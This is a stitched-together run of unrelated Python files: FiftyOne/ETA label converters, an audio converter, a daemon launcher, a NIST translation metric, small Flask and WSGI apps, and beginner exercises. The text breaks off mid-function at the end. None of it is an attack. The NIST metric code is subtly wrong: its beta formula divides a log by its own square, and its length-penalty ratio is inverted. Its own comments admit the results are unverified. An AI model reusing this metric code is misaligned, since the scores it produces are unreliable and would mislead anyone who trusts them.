from collections import defaultdict
import itertools
import warnings

import numpy as np

import eta.core.data as etad
import eta.core.frames as etaf
import eta.core.image as etai
import eta.core.keypoints as etak
import eta.core.learning as etal
import eta.core.objects as etao
import eta.core.polylines as etap
import eta.core.utils as etau
import eta.core.video as etav

import fiftyone.core.labels as fol
import fiftyone.core.models as fom

class ETAModelConfig(fom.ModelConfig):
    """Meta-config class that encapsulates the configuration of an
    `eta.core.learning.Model` that is to be run via the :class:`ETAModel`
    wrapper.

    Example::

        import fiftyone.core.models as fom

        model = fom.load_model({
            "type": "fiftyone.core.eta_utils.ETAModel",
            "config": {
                "type": "eta.detectors.YOLODetector",
                "config": {
                    "model_name": "yolo-v2-coco"
                }
            }
        })

    Args:
        type: the fully-qualified class name of the
            :class:`fiftyone.core.models.Model` subclass, which must be
            :class:`ETAModel` or a subclass of it
        config: a dict containing the ``eta.core.learning.ModelConfig`` for the
            ETA model
    """

    @property
    def confidence_thresh(self):
        """The confidence threshold of the underlying ``eta.core.model.Model``.

        Note that this may not be defined for some models.
        """
        return self.config.confidence_thresh

    @confidence_thresh.setter
    def confidence_thresh(self, confidence_thresh):
        self.config.confidence_thresh = confidence_thresh

class ETAModel(fom.Model, fom.EmbeddingsMixin, fom.LogitsMixin):
    """Wrapper for running an ``eta.core.learning.Model`` model.

    Args:
        config: an :class:`ETAModelConfig`
    """

    def __init__(self, config, _model=None):
        if _model is None:
            _model = config.build()  # build the ETA model

        self.config = config
        self._model = _model
        fom.LogitsMixin.__init__(self)

    def __enter__(self):
        self._model.__enter__()
        return self

    def __exit__(self, *args):
        self._model.__exit__(*args)

    @property
    def ragged_batches(self):
        try:
            return self._model.ragged_batches
        except AttributeError:
            return True

    @property
    def transforms(self):
        try:
            return self._model.transforms
        except AttributeError:
            return None

    @property
    def preprocess(self):
        try:
            return self._model.preprocess
        except AttributeError:
            return False

    @preprocess.setter
    def preprocess(self, value):
        try:
            self._model.preprocess = value
        except AttributeError:
            pass

    @property
    def has_logits(self):
        return (
            isinstance(self._model, etal.ExposesProbabilities)
            and isinstance(self._model, etal.Classifier)
            and self._model.exposes_probabilities
        )

    @property
    def has_embeddings(self):
        return (
            isinstance(self._model, etal.ExposesFeatures)
            and isinstance(self._model, etal.Classifier)
            and self._model.exposes_features
        )

    def _ensure_embeddings(self):
        if not self.has_embeddings:
            raise ValueError("This model instance does not expose embeddings")

    def get_embeddings(self):
        self._ensure_embeddings()
        embeddings = self._model.get_features()
        embeddings = _squeeze_extra_unit_dims(embeddings)
        return embeddings.astype(float, copy=False)

    def embed(self, arg):
        self._ensure_embeddings()
        self.predict(arg)
        return self.get_embeddings()

    def embed_all(self, args):
        self._ensure_embeddings()

        if isinstance(self._model, etal.ImageClassifier):
            self._model.predict_all(args)
            return self.get_embeddings()

        if isinstance(self._model, etal.ObjectDetector):
            self._model.detect_all(args)
            return self.get_embeddings()

        if isinstance(self._model, etal.ImageSemanticSegmenter):
            self._model.segment_all(args)
            return self.get_embeddings()

        return np.concatenate(tuple(self.embed(arg) for arg in args))

    def predict(self, arg):
        if isinstance(self._model, etal.ImageClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.VideoFramesClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.VideoClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.Classifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.ObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.VideoFramesObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.VideoObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.Detector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.ImageSemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.VideoSemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.SemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.ImageModel):
            eta_labels = self._model.process(arg)
        elif isinstance(self._model, etal.VideoModel):
            eta_labels = self._model.process(arg)
        else:
            raise ValueError(
                "Unsupported model type '%s'" % self._model.__class__
            )

        eta_labels = self._parse_predictions(eta_labels)

        label = parse_eta_labels(eta_labels)

        if self.has_logits and self.store_logits:
            # num_preds x num_classes
            logits = np.log(self._model.get_probabilities()[0])
            _add_logits(label, logits)

        return label

    def predict_all(self, args):
        if isinstance(self._model, etal.ImageClassifier):
            eta_labels_batch = self._model.predict_all(args)
        elif isinstance(self._model, etal.ObjectDetector):
            eta_labels_batch = self._model.detect_all(args)
        elif isinstance(self._model, etal.ImageSemanticSegmenter):
            eta_labels_batch = self._model.segment_all(args)
        else:
            return [self.predict(arg) for arg in args]

        eta_labels_batch = self._parse_predictions(eta_labels_batch)

        labels = [parse_eta_labels(el) for el in eta_labels_batch]

        if self.has_logits and self.store_logits:
            # num_images x num_preds x num_classes
            logits = np.log(self._model.get_probabilities())

            for label, _logits in zip(labels, logits):
                _add_logits(label, _logits)

        return labels

    def _parse_predictions(self, eta_labels_or_batch):
        if (
            not isinstance(self._model, etal.Classifier)
            or self._model.is_multilabel
        ):
            return eta_labels_or_batch

        if isinstance(eta_labels_or_batch, list):
            return [
                attrs[0] if attrs else None for attrs in eta_labels_or_batch
            ]

        if not eta_labels_or_batch:
            return None

        return eta_labels_or_batch[0]

    @classmethod
    def from_eta_model(cls, model):
        """Builds an :class:`ETAModel` for running the provided
        ``eta.core.learning.Model`` instance.

        Args:
            model: an ``eta.core.learning.Model`` instance

        Returns:
            an :class:`ETAModel`
        """
        return cls(model.config, _model=model)

def parse_eta_labels(eta_labels):
    """Parses the ``eta.core.labels.Labels`` instance and returns the
    corresponding :class:`fiftyone.core.labels.Label` instance(s).

    The table below summarizes the conversions that are performed:

    .. table::

        +-----------------------------------------------+-----------------------------------------------+
        | Input type                                    | Output type                                   |
        +===============================================+===============================================+
        | ``eta.core.data.Attribute``                   | :class:`fiftyone.core.labels.Classification`  |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.data.AttributeContainer``          | :class:`fiftyone.core.labels.Classifications` |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.objects.DetectedObject``           | :class:`fiftyone.core.labels.Detection`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.objects.DetectedObjectContainer``  | :class:`fiftyone.core.labels.Detections`      |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.polylines.Polyline``               | :class:`fiftyone.core.labels.Polyline`        |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.polylines.PolylineContainer``      | :class:`fiftyone.core.labels.Polylines`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.keypoints.Keypoints``              | :class:`fiftyone.core.labels.Keypoint`        |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.keypoints.KeypointsContainer``     | :class:`fiftyone.core.labels.Keypoints`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``np.ndarray``                                | :class:`fiftyone.core.labels.Segmentation`    |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.image.ImageLabels``                | a dictionary mapping field names to           |
        |                                               | :class:`fiftyone.core.labels.Label` instances |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.video.VideoLabels``                | a ``frames`` dict mapping frame numbers       |
        |                                               | to dictionaries of frame labels               |
        +-----------------------------------------------+-----------------------------------------------+

    Args:
        eta_labels: an ````eta.core.labels.Labels`` instance

    Returns:
        the FiftyOne labels according to the table above
    """
    if isinstance(eta_labels, etad.AttributeContainer):
        label = fol.Classifications.from_attributes(eta_labels)
    elif isinstance(eta_labels, etad.Attribute):
        label = fol.Classification.from_attribute(eta_labels)
    elif isinstance(eta_labels, etao.DetectedObjectContainer):
        label = fol.Detections.from_detected_objects(eta_labels)
    elif isinstance(eta_labels, etao.DetectedObject):
        label = fol.Detection.from_detected_object(eta_labels)
    elif isinstance(eta_labels, etap.PolylineContainer):
        label = fol.Polylines.from_eta_polylines(eta_labels)
    elif isinstance(eta_labels, etap.Polyline):
        label = fol.Polyline.from_eta_polyline(eta_labels)
    elif isinstance(eta_labels, etak.KeypointsContainer):
        label = fol.Keypoints.from_eta_keypoints(eta_labels)
    elif isinstance(eta_labels, etak.Keypoints):
        label = fol.Keypoint.from_eta_keypoints(eta_labels)
    elif isinstance(eta_labels, etav.VideoLabels):
        label = load_video_labels(eta_labels)
    elif isinstance(eta_labels, etaf.FrameLabels):
        label = load_image_labels(eta_labels)
    elif isinstance(eta_labels, np.ndarray):
        label = fol.Segmentation.from_mask(eta_labels)
    elif eta_labels is None:
        label = None
    else:
        raise ValueError(
            "Unsupported ETA label type '%s'" % eta_labels.__class__
        )

    return label

def load_image_labels(
    image_labels_or_path,
    prefix=None,
    labels_dict=None,
    multilabel=False,
    skip_non_categorical=False,
):
    """Loads the ``eta.core.image.ImageLabels`` or
    ``eta.core.frames.FrameLabels`` into a dictionary of labels.

    Provide ``labels_dict`` if you want to customize which components of
    the labels are expanded. Otherwise, all labels are expanded as
    explained below.

    If ``multilabel`` is False, frame attributes will be stored in separate
    :class:`Classification` fields with names ``prefix + attr.name``.

    If ``multilabel`` if True, all frame attributes will be stored in a
    :class:`Classifications` field called ``prefix + "attributes"``.

    Objects are expanded into fields with names ``prefix + obj.name``, or
    ``prefix + "detections"`` for objects that do not have their ``name``
    field populated.

    Polylines are expanded into fields with names
    ``prefix + polyline.name``, or ``prefix + "polylines"`` for polylines
    that do not have their ``name`` field populated.

    Keypoints are expanded into fields with names
    ``prefix + keypoints.name``, or ``prefix + "keypoints"`` for keypoints
    that do not have their ``name`` field populated.

    Segmentation masks are expanded into a field with name ``prefix + "mask"``.

    Args:
        image_labels_or_path: can be a ``eta.core.image.ImageLabels`` instance,
            a ``eta.core.frames.FrameLabels`` instance, a serialized dict
            representation of either, or the path to either on disk
        prefix (None): a string prefix to prepend to each field name in the
            output dict
        labels_dict (None): a dictionary mapping names of labels to keys to
            assign them in the output dictionary
        multilabel (False): whether to store frame attributes in a single
            :class:`Classifications` instance
        skip_non_categorical (False): whether to skip non-categorical
            frame attributes (True) or cast them to strings (False)

    Returns:
        a dict mapping label names to :class:`fiftyone.core.labels.ImageLabel`
        instances
    """
    if etau.is_str(image_labels_or_path):
        frame_labels = etaf.FrameLabels.from_json(image_labels_or_path)
    elif isinstance(image_labels_or_path, dict):
        frame_labels = etaf.FrameLabels.from_dict(image_labels_or_path)
    else:
        frame_labels = image_labels_or_path

    if frame_labels is None:
        return None

    if labels_dict is not None:
        return _expand_with_labels_dict(
            frame_labels, labels_dict, multilabel, skip_non_categorical
        )

    return _expand_with_prefix(
        frame_labels, prefix, multilabel, skip_non_categorical
    )

def to_image_labels(labels):
    """Converts the image label(s) to ``eta.core.image.ImageLabels`` format.

    Args:
        labels: can be a :class:`fiftyone.core.labels.ImageLabel` instance or
            a dictionary mapping names to
            :class:`fiftyone.core.labels.ImageLabel` instances

    Returns:
        an ``eta.core.image.ImageLabels`` instance
    """
    image_labels = etai.ImageLabels()

    if labels is None:
        return image_labels

    if not isinstance(labels, dict):
        labels = {labels: labels}

    for name, label in labels.items():
        if isinstance(label, fol.ImageLabel):
            image_labels.merge_labels(label.to_image_labels(name=name))
        elif label is not None:
            msg = "Ignoring unsupported label type '%s'" % label.__class__
            warnings.warn(msg)

    return image_labels

def load_video_labels(
    video_labels_or_path,
    prefix=None,
    labels_dict=None,
    multilabel=False,
    skip_non_categorical=False,
):
    """Loads the ``eta.core.video.VideoLabels`` into a frame labels dictionary.

    Args:
        video_labels_or_path: can be a ``eta.core.video.VideoLabels`` instance,
            a serialized dict representation of one, or the path to one on disk
        prefix (None): a string prefix to prepend to each label name in the
            expanded frame label dictionaries
        labels_dict (None): a dictionary mapping names of attributes/objects
            in the frame labels to field names into which to expand them
        multilabel (False): whether to store frame attributes in a single
            :class:`fiftyone.core.labels.Classifications` instance
        skip_non_categorical (False): whether to skip non-categorical frame
            attributes (True) or cast them to strings (False)

    Returns:
        a dictionary mapping frame numbers to dictionaries that map label
        fields to :class:`fiftyone.core.labels.Label` instances for each video
        frame
    """
    if etau.is_str(video_labels_or_path):
        video_labels = etav.VideoLabels.from_json(video_labels_or_path)
    elif isinstance(video_labels_or_path, dict):
        video_labels = etav.VideoLabels.from_dict(video_labels_or_path)
    else:
        video_labels = video_labels_or_path

    if video_labels is None:
        return None

    frames = {}
    for frame_number in video_labels:
        frames[frame_number] = load_image_labels(
            video_labels[frame_number],
            prefix=prefix,
            labels_dict=labels_dict,
            multilabel=multilabel,
            skip_non_categorical=skip_non_categorical,
        )

    return frames

def to_video_labels(frames):
    """Converts the frame labels dictionary to ``eta.core.video.VideoLabels``
    format.

    Args:
        frames: a dictionary mapping frame numbers to
            :class:`fiftyone.core.frame.Frame` instances or dictionaries
            mapping field names to :class:`fiftyone.core.labels.ImageLabel`
            instances

    Returns:
        a ``eta.core.video.VideoLabels`` instance
    """
    video_labels = etav.VideoLabels()

    if frames is None:
        return video_labels

    for frame_number, frame in frames.items():
        video_labels[frame_number] = _to_frame_labels(frame, frame_number)

    return video_labels

def _to_frame_labels(frame, frame_number):
    frame_labels = etav.VideoFrameLabels(frame_number)

    for name, label in frame.items():
        if isinstance(label, fol.ImageLabel):
            frame_labels.merge_labels(label.to_image_labels(name=name))
        elif label is not None:
            msg = "Ignoring unsupported label type '%s'" % label.__class__
            warnings.warn(msg)

    return frame_labels

def _expand_with_prefix(
    frame_labels, prefix, multilabel, skip_non_categorical
):
    if prefix is None:
        prefix = ""

    labels = {}

    #
    # Classifications
    #

    if multilabel:
        # Store frame attributes as multilabels
        # pylint: disable=no-member
        labels[prefix + "attributes"] = fol.Classifications.from_attributes(
            frame_labels.attrs, skip_non_categorical=skip_non_categorical,
        )
    else:
        # Store each frame attribute separately
        for attr in frame_labels.attrs:  # pylint: disable=no-member
            if skip_non_categorical and not etau.is_str(attr.value):
                continue

            labels[prefix + attr.name] = fol.Classification.from_attribute(
                attr
            )

    #
    # Detections
    #

    objects_map = defaultdict(etao.DetectedObjectContainer)

    for dobj in frame_labels.objects:
        objects_map[prefix + (dobj.name or "detections")].add(dobj)

    for name, objects in objects_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Detections.from_detected_objects(objects)

    #
    # Polylines
    #

    polylines_map = defaultdict(etap.PolylineContainer)

    for polyline in frame_labels.polylines:
        polylines_map[prefix + (polyline.name or "polylines")].add(polyline)

    for name, polylines in polylines_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Polylines.from_eta_polylines(polylines)

    #
    # Keypoints
    #

    keypoints_map = defaultdict(etak.KeypointsContainer)

    for keypoints in frame_labels.keypoints:
        keypoints_map[prefix + (keypoints.name or "keypoints")].add(keypoints)

    for name, keypoints in keypoints_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Keypoints.from_eta_keypoints(keypoints)

    #
    # Segmentations
    #

    if frame_labels.has_mask:
        labels[prefix + "mask"] = fol.Segmentation.from_mask(frame_labels.mask)

    return labels

def _expand_with_labels_dict(
    frame_labels, labels_dict, multilabel, skip_non_categorical
):
    labels = {}

    #
    # Classifications
    #

    if multilabel:
        # Store frame attributes as multilabels
        attrs_map = defaultdict(etad.AttributeContainer)
        for attr in frame_labels.attrs:
            if attr.name not in labels_dict:
                continue

            attrs_map[labels_dict[attr.name]].add(attr)

        for name, attrs in attrs_map.items():
            labels[name] = fol.Classifications.from_attributes(
                attrs, skip_non_categorical=skip_non_categorical
            )
    else:
        # Store each frame attribute separately
        for attr in frame_labels.attrs:  # pylint: disable=no-member
            if skip_non_categorical and not etau.is_str(attr.value):
                continue

            if attr.name not in labels_dict:
                continue

            labels[labels_dict[attr.name]] = fol.Classification.from_attribute(
                attr
            )

    #
    # Detections
    #

    objects_map = defaultdict(etao.DetectedObjectContainer)

    for dobj in frame_labels.objects:
        if dobj.name not in labels_dict:
            continue

        objects_map[labels_dict[dobj.name]].add(dobj)

    for name, objects in objects_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Detections.from_detected_objects(objects)

    #
    # Polylines
    #

    polylines_map = defaultdict(etap.PolylineContainer)

    for polyline in frame_labels.polylines:
        if polyline.name not in labels_dict:
            continue

        polylines_map[labels_dict[polyline.name]].add(polyline)

    for name, polylines in polylines_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Polylines.from_eta_polylines(polylines)

    #
    # Keypoints
    #

    keypoints_map = defaultdict(etak.KeypointsContainer)

    for keypoints in frame_labels.keypoints:
        if keypoints.name not in labels_dict:
            continue

        keypoints_map[labels_dict[keypoints.name]].add(keypoints)

    for name, keypoints in keypoints_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Keypoints.from_eta_keypoints(keypoints)

    #
    # Segmentations
    #

    if frame_labels.has_mask and "mask" in labels_dict:
        labels["mask"] = fol.Segmentation.from_mask(frame_labels.mask)

    return labels

def _squeeze_extra_unit_dims(embeddings):
    dims = embeddings.shape[1:]
    extra_axes = tuple(ax for ax, dim in enumerate(dims, 1) if dim == 1)

    if len(extra_axes) == len(dims):
        extra_axes = extra_axes[1:]

    if extra_axes:
        return np.squeeze(embeddings, axis=extra_axes)

    return embeddings

def _add_logits(label, logits):
    if isinstance(label, fol.Classification):
        label.logits = logits[0]
    elif isinstance(label, fol.Classifications):
        for c, l in zip(label.classifications, logits):
            c.logits = l
    elif label is not None:
        msg = "Cannot store logits on label type '%s'" % label.__class__
        warnings.warn(msg)


import argparse
import librosa
import os
import soundfile as sf
ROOTPATH = 'input/tmp/'

def convert(audir):
    absdir = os.path.join(ROOTPATH, audir)
    name = audir.split('.')[-2]
    audio, sr = librosa.load(absdir, sr=16000)
    sf.write(ROOTPATH + name + '.flac', audio, sr, 'PCM_16')
    os.remove(absdir)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--audir', action='store', type=str, default='')
    args = parser.parse_args()
    audir = args.audir
    convert(audir)


import os, re
from popen2 import Popen3
from populous.messaging.concierge.exceptions import ConciergeError

CONCIERGE_DAEMON    = '/home/code/concierge'
CONCIERGE_PID       = '/usr/local/var/run/concierge.pid'
CONCIERGE_DBUS      = '/usr/local/var/run/concierge.dbus'

DBUS_ADDRESS_RE = re.compile("DBUS_SESSION_BUS_ADDRESS='([\S^']*)'")

def start_dbus():
    try:
        # Launch dbus and get address
        dbus_info = os.popen('dbus-launch --sh-syntax')
        dbus_address = DBUS_ADDRESS_RE.findall(dbus_info.read())[0]

        # Set the eviron variable for dbus
        os.environ['DBUS_SESSION_BUS_ADDRESS'] = dbus_address

        # Save the dbus address to file
        dbus_address_file = open(CONCIERGE_DBUS, 'w')
        dbus_address_file.write(dbus_address)
        dbus_address_file.close()
    except:
        raise ConciergeError('Could not start Concierge.  There was an error with dbus.')

def setup_dbus():
    # Get dbus address and set it
    dbus_address = open(CONCIERGE_DBUS, 'r').readline()
    os.environ['DBUS_SESSION_BUS_ADDRESS'] = dbus_address

def start_concierge():
    try:
        p = Popen3('exec %s' % CONCIERGE_DAEMON)
        f = open(CONCIERGE_PID, 'w')
        f.write(str(p.pid))
        f.close()
    except:
        raise ConciergeError('Could not start Concierge.  There was an error with the concierge daemon.')

def stop_concierge():
    try:
        pid = open(CONCIERGE_PID, 'r').readline()
        os.kill(int(pid), 9)
    except:
        raise ConciergeError('Could not stop Concierge.')


# -*- coding:utf-8 -*-

# Python implementation of NIST
# basic
# https://en.wikipedia.org/wiki/NIST_(metric)
# https://www.nltk.org/_modules/nltk/translate/nist_score.html
# https://github.com/moses-smt/mosesdecoder/blob/master/scripts/generic/mteval-v14.pl
# http://www.cnblogs.com/by-dream/p/7765345.html
#
# nltk代码可能还有些问题, 需要再从论文考证
# (*modification?*)  一些小修改

import math
import fractions
from collections import Counter

try:
    fractions.Fraction(0, 1000, _normalize=False)
    from fractions import Fraction
except TypeError:
    from nltk.compat import Fraction

def _ngrams(sequence, n):
    """
    simplify nltk.util.ngrams.
    Return the ngrams generated from a sequence of items, as an iterator.
    list(_ngrams(.., ..))
    """
    for i in range(0, len(sequence)-n+1):
        ngram = tuple(sequence[i:i+n])
        yield ngram

def sentence_nist(references, hypothesis, n=5):
    """
    :param references: reference sentences
    :type references: list(list(str))
    :param hypothesis: a hypothesis sentence
    :type hypothesis: list(str)
    :param n: highest n-gram order
    """
    return corpus_nist([references], [hypothesis], n)

def corpus_nist(list_of_references, hypotheses, n=5):
    """
    与bleu的区别，包括:
    sysoutput_lengths, bp, info
    """
    assert len(list_of_references) == len(hypotheses), "The number of hypotheses and their reference(s) should be the same"
    p_numerators = Counter() # Key = ngram order, and value = no. of ngram matches.
    p_denominators = Counter() # Key = ngram order, and value = no. of ngram in ref.
    sysoutput_lengths = Counter() # Key = ngram order, and value = no. of ngram in hyp.
    hyp_lengths, ref_lengths = 0, 0

    for references, hypothesis in zip(list_of_references, hypotheses):
        for i, _ in enumerate(range(1, n+1)):  # i: 0->n-1  (表示n-1)
            p_i = modified_precision(references, hypothesis, i)
            p_numerators[i] += p_i.numerator
            p_denominators[i] += p_i.denominator
            # sysoutput_lengths[i] += len(hypothesis) - (i - 1)  # sysout, n-gram number of w_i (=denominator? 但这边会出现<=0的情况)
            sysoutput_lengths[i] += len(hypothesis) - i  #  (*modification1*) s_l[0] 应该为 unigram 片段数量, 待求证

        hyp_len =  len(hypothesis)
        hyp_lengths += hyp_len
        ref_lengths += closest_ref_length(references, hyp_len)

    bp = nist_length_penalty(ref_lengths, hyp_lengths)

    p_n = [Fraction(p_numerators[i], p_denominators[i], _normalize=False)
           for i, _ in enumerate(range(1,n+1))]

    # Eqn 2 in Doddington (2002):
    # Info(w_1 ... w_n) = log_2 [ (# of occurrences of w_1 ... w_n-1) / (# of occurrences of w_1 ... w_n) ]
    # add by me. info , 对于一元词汇，分子的取值就是整个参考译文?的长度。(好像没表现出来，求证)
    info = [0 if p_n[i].numerator == 0 or p_n[i+1].numerator == 0
            else math.log(p_n[i].numerator / p_n[i+1].numerator)
            for i in range(len(p_n)-1)]
    # print("+++")
    # print(info)
    # print(sysoutput_lengths)
    # print("+++")
    # return # 但是这边 info_i/sysoutput_lengths[i] 的对应关系还需考虑
    return sum(info_i/sysoutput_lengths[i] for i, info_i in enumerate(info) if not info_i == 0 ) * bp   # (*modification2*) 会出现 zerodivisionerror (如果hyp_len比较短而ref比较多, sysoutput_lengths可能为0或者负)
                                                                                # 但是虽然加了 "if not info_i == 0"， 程序的正确性需要验证。

def modified_precision(references, hypothesis, n):
    """
    same as bleu's modified_precision.
    """
    # Set an empty Counter if hypothesis is empty.
    counts = Counter(_ngrams(hypothesis, n)) if len(hypothesis) >= n else Counter()
    max_counts = {}
    for reference in references:
        reference_counts = Counter(_ngrams(reference, n)) if len(reference) >= n else Counter()
        for ngram in counts:
            max_counts[ngram] = max(max_counts.get(ngram, 0), reference_counts[ngram])  # 参考译文中出现的最大次数

    clipped_counts = {ngram:min(count, max_counts[ngram]) for ngram, count in counts.items()}

    numerator = sum(clipped_counts.values())  # (与参考译文共现的n-gram片段数量)
    denominator = max(1, sum(counts.values()))  # 1 to avoid zerodivision, result will be zero  (译文n-gram片段数目)

    return Fraction(numerator, denominator, _normalize=False)

def closest_ref_length(references, hyp_len):
    """
    same as bleu's closet_ref_length().
    """
    ref_lens = (len(reference) for reference in references)
    closest_ref_len = min(ref_lens, key=lambda ref_len:
                          (abs(ref_len - hyp_len), ref_len))
    return closest_ref_len

def nist_length_penalty(closest_ref_len, hyp_len):
    """
    Calculates the NIST length penalty, from Eq. 3 in Doddington (2002)

        penalty = exp( beta * log( min( len(hyp)/len(ref) , 1.0 )))

    where,

        `beta` is chosen to make the brevity penalty factor = 0.5 when the
        no. of words in the system output (hyp) is 2/3 of the average
        no. of words in the reference translation (ref)

    The NIST penalty is different from BLEU's such that it minimize the impact
    of the score of small variations in the length of a translation.
    See Fig. 4 in  Doddington (2002)

    惩罚因子

    """
    ratio = closest_ref_len / hyp_len
    if 0 < ratio < 1:
        ratio_x, score_x = 1.5, 0.5
        beta = math.log(score_x) / math.log(score_x) ** 2  # about -1.4427
        return math.exp(beta * math.log(ratio) ** 2)
    else:
        return max(min(ratio, 1.0), 0.0)


from flask import Flask

from extensions import bcrypt, db, giphyApi, jwt, cors
from gif import gifs
from user import users
from error_handling import register_errors

def create_app():
    app = Flask(__name__)
    app.config.from_envvar("ENV_FILE")

    register_blueprints(app)

    register_extensions(app)

    register_errors(app)

    return app

def register_blueprints(app):
    origins = app.config.get("CORS_ORIGIN_WHITELIST")
    cors.init_app(gifs.blueprint, origins=origins, supports_credentials=True)
    cors.init_app(users.blueprint, origins=origins, supports_credentials=True)

    app.register_blueprint(gifs.blueprint)
    app.register_blueprint(users.blueprint)

def register_extensions(app):
    bcrypt.init_app(app)
    db.init_app(app)
    giphyApi.init_app(app)
    jwt.init_app(app)


class Solution(object):
    def permute(self, nums):
        """
        :type nums: List[int]
        :rtype: List[List[int]]
        """
        self.res = []
        item = []
        shengyu = [0 for i in range(len(nums))]

        self.helper(nums, item, shengyu)

        return self.res

    def helper(self, nums, item, shengyu):
        if len(nums) == len(item):
            self.res.append(item[:])
            return
        for i in range(len(nums)):
            if not shengyu[i]:
                shengyu[i] = 1
                item.append(nums[i])
                self.helper(nums, item, shengyu)
                item.pop()
                shengyu[i] = 0

nums = [1, 2, 3]
sol = Solution()
res = sol.permute(nums)
print(res)


from sklearn.ensemble import RandomForestClassifier
import pandas as pd

configdf = pd.read_excel('config.xlsx', sheet_name='CONFIG')
def random_forest(x_train, y_train, x_test):
    iter = configdf['var'][7].astype(int)
    Method = configdf['Method'][7]
    clasi = RandomForestClassifier(n_estimators=iter)
    clasi.fit(x_train, y_train)
    out = clasi.predict(x_test)
    return out


from cgi import parse_qs
from wsgiref.simple_server import make_server
import json

def wsgi_appication(environ,start_response):
    print("wsgi handler")
    response = ""

    #for key, val in sorted(environ.items()):
    #    response += "%s: %s\n" % (key, val)
    #print(response)

    try:
        body_size = int(environ.get('CONTENT_LENGTH', 0))
    except ValueError:
        body_size = 0

    body = environ['wsgi.input'].read(body_size)

    d = parse_qs(body)
    x_list = d.get('x'.encode(), [0])
    y_list = d.get('y'.encode(), [0])

    rx = int(x_list[0])
    ry = int(y_list[0])

    sum = rx + ry
    mul = rx * ry
    print("sum : %d, mul : %d" % (sum, mul))

    response_json = json.dumps({'sum':sum, 'mul':mul})

    start_response("200 OK", [('Content-Type','application/json; charset=utf-8')])
    return [response_json.encode()]

if __name__ == "__main__":
    print("Start Program")
    httpd = make_server("", 8001, wsgi_appication)
    httpd.serve_forever()


factorial = [ ]
total_sum = [ ]

# 함수 1) 숫자 검증
num = list('0123456789')
def is_num():
    while True:
        x = input('숫자를 입력해 주세요.[1~100]')
        check = True
        for char in x:
            is_num = char in num
            check *= is_num
            if is_num == False:
                break

        if check:
            last_num = int(x)
            print('입력한 숫자 :', last_num)
            return last_num   # return 해줘야 함수값 표현 가능
            break
        else:
            print('입력한 값이 숫자가 아닙니다.')

title =  str(is_num()) + ' 까지의 합계 및 팩토리얼 테이블 구하기!!'
print('-'*50)
print(title)
print('-'*50)

# numbers = list(range(is_num()+1))
idx = 0
# numbers = list(range(is_num()))

# 함수 2) 팩토리얼 계산
# def factorial():
#     while idx < len(numbers):
#         num = numbers[idx]
#         sum += num
#         gop *= num
#
#         gop = 1 if gop < 1 else gop
#
#         total_sum.append(sum)
#         factorial.append(gop)
#         idx += 1

# 함수 3) 자릿수 계산
# def cs_num(num):

# test = is_num()

# print('-' * 100)
# print('{} 팩토리얼 테이블'.format(is_num()))
# print('-' * 100)


import os
from flask import Flask, request, jsonify, abort
from sqlalchemy import exc
import json
from flask_cors import CORS

from .database.models import db_drop_and_create_all, setup_db, Drink
from .auth.auth import AuthError, requires_auth

app = Flask(__name__)
setup_db(app)
CORS(app)

'''
!! NOTE THIS WILL DROP ALL RECORDS AND START YOUR DB FROM SCRATCH
!! NOTE THIS MUST BE UNCOMMENTED ON FIRST RUN
!! Running this funciton will add one
'''
#db_drop_and_create_all()

# ROUTES

@app.route('/drinks')
def get_drinks():
    allDrinks = Drink.query.all()
    drinks = [drink.short() for drink in allDrinks]
    return jsonify({
        'success': True,
        'drinks': drinks
    })

@app.route('/drinks-detail')
@requires_auth('get:drinks-detail')
def drinks_detail(jwt):
    allDrinks = Drink.query.all()
    drinks = [drink.long() for drink in allDrinks]
    return jsonify({
        'success': True,
        'drinks': drinks
    })

@app.route('/drinks', methods=['POST'])
@requires_auth('post:drinks')
def create_drink(jwt):
    body = request.get_json()
    title = body.get('title', None)
    recipe = body.get('recipe', None)
    recipeString = str(recipe)
    recipeString = recipeString.replace("\'", "\"")
    thedrink = Drink(
        title=title,
        recipe=recipeString
    )
    thedrink.insert()
    drink = thedrink.long()
    return jsonify({
        'success': True,
        'drinks': drink
    })

@app.route('/drinks/<int:drink_id>', methods=['PATCH'])
@requires_auth('patch:drinks')
def update_drink(jwt, drink_id):
    body = request.get_json()
    title = body.get('title', None)
    thedrink = Drink.query.filter(Drink.id == drink_id).one_or_none()
    error = False
    if title != None:
        thedrink.title = title
    try:
        thedrink.update()
    except Exception as e:
        error = True
    if error:
        abort(400)
    else:
        drink = [thedrink.long()]
        return jsonify({
            'success': True,
            'drinks': drink
        })

@app.route('/drinks/<int:drink_id>', methods=['DELETE'])
@requires_auth('delete:drinks')
def delete_drink(jwt, drink_id):
    drink = Drink.query.filter(Drink.id == drink_id).one_or_none()
    drink.delete()
    return jsonify({
        'success': True,
        'delete': drink_id
    })

# Error Handling
'''
Example error handling for unprocessable entity
'''

@app.errorhandler(422)
def unprocessable(error):
    return jsonify({
